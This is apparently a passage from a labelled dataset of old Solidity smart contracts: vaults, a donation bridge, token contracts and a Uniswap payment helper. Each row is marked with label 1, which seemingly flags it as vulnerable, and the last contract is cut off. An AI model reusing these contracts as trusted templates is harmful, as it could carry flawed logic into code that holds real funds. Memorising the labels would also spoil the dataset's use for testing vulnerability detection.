source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.4.19;
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
pragma solidity ^0.4.19;
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
pragma solidity ^0.4.19;
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) view public returns (bool) {
return !escapeBlacklist[_token];
}
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
pragma solidity ^0.4.21;
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.21;
contract Vault is Escapable, Pausable {
struct Payment {
string name;
bytes32 reference;
address spender;
uint earliestPayTime;
bool canceled;
bool paid;
address recipient;
address token;
uint amount;
uint securityGuardDelay;
}
Payment[] public authorizedPayments;
address public securityGuard;
uint public absoluteMinTimeLock;
uint public timeLock;
uint public maxSecurityGuardDelay;
bool public allowDisbursePaymentWhenPaused;
mapping (address => bool) public allowedSpenders;
event PaymentAuthorized(uint indexed idPayment, address indexed recipient, uint amount, address token, bytes32 reference);
event PaymentExecuted(uint indexed idPayment, address indexed recipient, uint amount, address token);
event PaymentCanceled(uint indexed idPayment);
event SpenderAuthorization(address indexed spender, bool authorized);
modifier onlySecurityGuard {
require(msg.sender == securityGuard);
_;
}
modifier disbursementsAllowed {
require(!paused || allowDisbursePaymentWhenPaused);
_;
}
function Vault(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _absoluteMinTimeLock,
uint _timeLock,
address _securityGuard,
uint _maxSecurityGuardDelay
) Escapable(_escapeHatchCaller, _escapeHatchDestination) public
{
absoluteMinTimeLock = _absoluteMinTimeLock;
timeLock = _timeLock;
securityGuard = _securityGuard;
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
function numberOfAuthorizedPayments() public view returns (uint) {
return authorizedPayments.length;
}
function authorizePayment(
string _name,
bytes32 _reference,
address _recipient,
address _token,
uint _amount,
uint _paymentDelay
) whenNotPaused external returns(uint) {
require(allowedSpenders[msg.sender]);
uint idPayment = authorizedPayments.length;
authorizedPayments.length++;
Payment storage p = authorizedPayments[idPayment];
p.spender = msg.sender;
require(_paymentDelay <= 10**18);
p.earliestPayTime = _paymentDelay >= timeLock ?
_getTime() + _paymentDelay :
_getTime() + timeLock;
p.recipient = _recipient;
p.amount = _amount;
p.name = _name;
p.reference = _reference;
p.token = _token;
emit PaymentAuthorized(idPayment, p.recipient, p.amount, p.token, p.reference);
return idPayment;
}
function disburseAuthorizedPayment(uint _idPayment) disbursementsAllowed public {
require(_idPayment < authorizedPayments.length);
Payment storage p = authorizedPayments[_idPayment];
require(allowedSpenders[p.spender]);
require(_getTime() >= p.earliestPayTime);
require(!p.canceled);
require(!p.paid);
p.paid = true;
if (p.token == 0) {
p.recipient.transfer(p.amount);
} else {
require(ERC20(p.token).transfer(p.recipient, p.amount));
}
emit PaymentExecuted(_idPayment, p.recipient, p.amount, p.token);
}
function disburseAuthorizedPayments(uint[] _idPayments) public {
for (uint i = 0; i < _idPayments.length; i++) {
uint _idPayment = _idPayments[i];
disburseAuthorizedPayment(_idPayment);
}
}
function delayPayment(uint _idPayment, uint _delay) onlySecurityGuard external {
require(_idPayment < authorizedPayments.length);
require(_delay <= 10**18);
Payment storage p = authorizedPayments[_idPayment];
require(p.securityGuardDelay + _delay <= maxSecurityGuardDelay);
require(!p.paid);
require(!p.canceled);
p.securityGuardDelay += _delay;
p.earliestPayTime += _delay;
}
function cancelPayment(uint _idPayment) onlyOwner external {
require(_idPayment < authorizedPayments.length);
Payment storage p = authorizedPayments[_idPayment];
require(!p.canceled);
require(!p.paid);
p.canceled = true;
emit PaymentCanceled(_idPayment);
}
function authorizeSpender(address _spender, bool _authorize) onlyOwner external {
allowedSpenders[_spender] = _authorize;
emit SpenderAuthorization(_spender, _authorize);
}
function setSecurityGuard(address _newSecurityGuard) onlyOwner external {
securityGuard = _newSecurityGuard;
}
function setTimelock(uint _newTimeLock) onlyOwner external {
require(_newTimeLock >= absoluteMinTimeLock);
timeLock = _newTimeLock;
}
function setMaxSecurityGuardDelay(uint _maxSecurityGuardDelay) onlyOwner external {
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
function pause() onlyOwner whenNotPaused public {
allowDisbursePaymentWhenPaused = false;
super.pause();
}
function setAllowDisbursePaymentWhenPaused(bool allowed) onlyOwner whenPaused public {
allowDisbursePaymentWhenPaused = allowed;
}
function _getTime() internal view returns (uint) {
return now;
}
}
pragma solidity ^0.4.21;
contract FailClosedVault is Vault {
uint public securityGuardLastCheckin;
function FailClosedVault(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _absoluteMinTimeLock,
uint _timeLock,
address _securityGuard,
uint _maxSecurityGuardDelay
) Vault(
_escapeHatchCaller,
_escapeHatchDestination,
_absoluteMinTimeLock,
_timeLock,
_securityGuard,
_maxSecurityGuardDelay
) public {
}
function disburseAuthorizedPayment(uint _idPayment) disbursementsAllowed public {
require(_idPayment < authorizedPayments.length);
Payment storage p = authorizedPayments[_idPayment];
require(securityGuardLastCheckin >= p.earliestPayTime - timeLock + 30 minutes);
super.disburseAuthorizedPayment(_idPayment);
}
function checkIn() onlySecurityGuard external {
securityGuardLastCheckin = _getTime();
}
}
pragma solidity ^0.4.21;
contract GivethBridge is FailClosedVault {
mapping(address => bool) tokenWhitelist;
event Donate(uint64 giverId, uint64 receiverId, address token, uint amount);
event DonateAndCreateGiver(address giver, uint64 receiverId, address token, uint amount);
event EscapeFundsCalled(address token, uint amount);
function GivethBridge(
address _escapeHatchCaller,
address _escapeHatchDestination,
uint _absoluteMinTimeLock,
uint _timeLock,
address _securityGuard,
uint _maxSecurityGuardDelay
) FailClosedVault(
_escapeHatchCaller,
_escapeHatchDestination,
_absoluteMinTimeLock,
_timeLock,
_securityGuard,
_maxSecurityGuardDelay
) public
{
tokenWhitelist[0] = true;
}
function donateAndCreateGiver(address giver, uint64 receiverId) payable external {
donateAndCreateGiver(giver, receiverId, 0, 0);
}
function donateAndCreateGiver(address giver, uint64 receiverId, address token, uint _amount) whenNotPaused payable public {
require(giver != 0);
require(receiverId != 0);
uint amount = _receiveDonation(token, _amount);
emit DonateAndCreateGiver(giver, receiverId, token, amount);
}
function donate(uint64 giverId, uint64 receiverId) payable external {
donate(giverId, receiverId, 0, 0);
}
function donate(uint64 giverId, uint64 receiverId, address token, uint _amount) whenNotPaused payable public {
require(giverId != 0);
require(receiverId != 0);
uint amount = _receiveDonation(token, _amount);
emit Donate(giverId, receiverId, token, amount);
}
function whitelistToken(address token, bool accepted) whenNotPaused onlyOwner external {
tokenWhitelist[token] = accepted;
}
function escapeFunds(address _token, uint _amount) external onlyEscapeHatchCallerOrOwner {
if (_token == 0) {
escapeHatchDestination.transfer(_amount);
} else {
ERC20 token = ERC20(_token);
require(token.transfer(escapeHatchDestination, _amount));
}
emit EscapeFundsCalled(_token, _amount);
}
function _receiveDonation(address token, uint _amount) internal returns(uint amount) {
require(tokenWhitelist[token]);
amount = _amount;
if (token == 0) {
amount = msg.value;
}
require(amount > 0);
if (token != 0) {
require(ERC20(token).transferFrom(msg.sender, this, amount));
}
}
} | 1 | 5,284 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 0;
uint8 public constant TOKEN_DECIMALS_UINT8 = 0;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MissYou";
string public constant TOKEN_SYMBOL = "MIS";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x210d60d0ec127f0fff477a1b1b9424bb1c32876d;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x210d60d0ec127f0fff477a1b1b9424bb1c32876d)];
uint[1] memory amounts = [uint(690000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,053 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract UniswapFactoryInterface {
address public exchangeTemplate;
uint256 public tokenCount;
function createExchange(address token) external returns (address exchange);
function getExchange(address token) external view returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
function initializeFactory(address template) external;
}
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_tokens, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function setup(address token_addr) external;
}
library SafeERC20 {
using SafeMath for uint256;
function transferTokens(
IERC20 _token,
address _from,
address _to,
uint256 _value
) internal {
uint256 oldBalance = _token.balanceOf(_to);
require(
_token.transferFrom(_from, _to, _value),
"Failed to transfer tokens."
);
require(
_token.balanceOf(_to) >= oldBalance.add(_value),
"Balance validation failed after transfer."
);
}
function approveTokens(
IERC20 _token,
address _spender,
uint256 _value
) internal {
uint256 nextAllowance =
_token.allowance(address(this), _spender).add(_value);
require(
_token.approve(_spender, nextAllowance),
"Failed to approve exchange withdrawal of tokens."
);
require(
_token.allowance(address(this), _spender) >= nextAllowance,
"Failed to validate token approval."
);
}
}
library SafeExchange {
using SafeMath for uint256;
modifier swaps(uint256 _value, IERC20 _token) {
uint256 nextBalance = _token.balanceOf(address(this)).add(_value);
_;
require(
_token.balanceOf(address(this)) >= nextBalance,
"Balance validation failed after swap."
);
}
function swapTokens(
UniswapExchangeInterface _exchange,
uint256 _outValue,
uint256 _inValue,
uint256 _ethValue,
uint256 _deadline,
IERC20 _outToken
) internal swaps(_outValue, _outToken) {
_exchange.tokenToTokenSwapOutput(
_outValue,
_inValue,
_ethValue,
_deadline,
address(_outToken)
);
}
function swapEther(
UniswapExchangeInterface _exchange,
uint256 _outValue,
uint256 _ethValue,
uint256 _deadline,
IERC20 _outToken
) internal swaps(_outValue, _outToken) {
_exchange.ethToTokenSwapOutput.value(_ethValue)(_outValue, _deadline);
}
}
contract Unipay {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using SafeExchange for UniswapExchangeInterface;
UniswapFactoryInterface factory;
IERC20 outToken;
address recipient;
constructor(address _factory, address _recipient, address _token) public {
factory = UniswapFactoryInterface(_factory);
outToken = IERC20(_token);
recipient = _recipient;
}
function price(
address _token,
uint256 _value
) public view returns (uint256, uint256, UniswapExchangeInterface) {
UniswapExchangeInterface inExchange =
UniswapExchangeInterface(factory.getExchange(_token));
UniswapExchangeInterface outExchange =
UniswapExchangeInterface(factory.getExchange(address(outToken)));
uint256 etherCost = outExchange.getEthToTokenOutputPrice(_value);
uint256 tokenCost = inExchange.getTokenToEthOutputPrice(etherCost);
return (tokenCost, etherCost, inExchange);
}
function price(
uint256 _value
) public view returns (uint256, UniswapExchangeInterface) {
UniswapExchangeInterface exchange =
UniswapExchangeInterface(factory.getExchange(address(outToken)));
return (exchange.getEthToTokenOutputPrice(_value), exchange);
}
function collect(
address _from,
address _token,
uint256 _value,
uint256 _deadline
) public {
(
uint256 tokenCost,
uint256 etherCost,
UniswapExchangeInterface exchange
) = price(_token, _value);
IERC20(_token).transferTokens(_from, address(this), tokenCost);
IERC20(_token).approveTokens(address(exchange), tokenCost);
exchange.swapTokens(_value, tokenCost, etherCost, _deadline, outToken);
outToken.approveTokens(recipient, _value);
}
function pay(
uint256 _value,
uint256 _deadline
) public payable {
(
uint256 etherCost,
UniswapExchangeInterface exchange
) = price(_value);
require(msg.value >= etherCost, "Insufficient ether sent.");
exchange.swapEther(_value, etherCost, _deadline, outToken);
outToken.approveTokens(recipient, _value);
msg.sender.transfer(msg.value.sub(etherCost));
}
} | 1 | 3,250 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Winco {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Winco(
) public {
totalSupply = 7652580800 * 10 ** 8;
balanceOf[msg.sender] = totalSupply;
name = "Winco";
symbol = "WCO";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,711 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name = "DMP Token";
string public symbol = "DMP";
uint8 public decimals = 18;
uint256 public totalSupply = 10000000000 * (10 ** 18);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
) public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
